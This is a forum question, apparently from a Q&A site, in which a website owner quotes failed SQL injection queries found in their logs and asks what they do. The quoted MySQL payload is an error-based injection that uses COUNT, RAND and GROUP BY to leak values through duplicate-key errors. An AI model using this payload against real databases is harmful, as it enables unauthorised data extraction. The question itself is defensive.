title: SQL Injection attack - What does this do?
body: <p>I have detected some failed SQL injection attacks on my website.
  The failed queries are of the form:</p>
  
  <blockquote>
    <p><code>SELECT 6106 FROM(SELECT COUNT(*),':sjw:1:ukt:1'x FROM
    information_schema.tables GROUP BY x)</code></p>
  </blockquote>
  
  <p>The <code>':sjw:1:ukt:1'</code> part is specially constructed with variables concatenated together to give random 0s or 1s etc.</p>
  
  <p>I would like to know what these queries do?</p>
  
  <p>The database is MySQL.</p>
  
  <p><strong>Update:</strong> Here is the original injected SQL:</p>
  
  <pre><code>(SELECT 6106
   FROM  (SELECT COUNT(*),
                 CONCAT(
                          CHAR(58, 115, 106, 119, 58), 
                          (SELECT ( CASE WHEN ( 6106 = 6106 ) THEN 1 ELSE 0 END )), 
                          CHAR(58, 117, 107, 116, 58), 
                          FLOOR(RAND(0) * 2)
                        ) x
          FROM   INFORMATION_SCHEMA.TABLES
          GROUP  BY x)a) 
  </code></pre>
  
  <p>It fails with message</p>
  
  <blockquote>
    <p>Duplicate entry ':sjw:1:ukt:1' for key 'group_key'</p>
  </blockquote>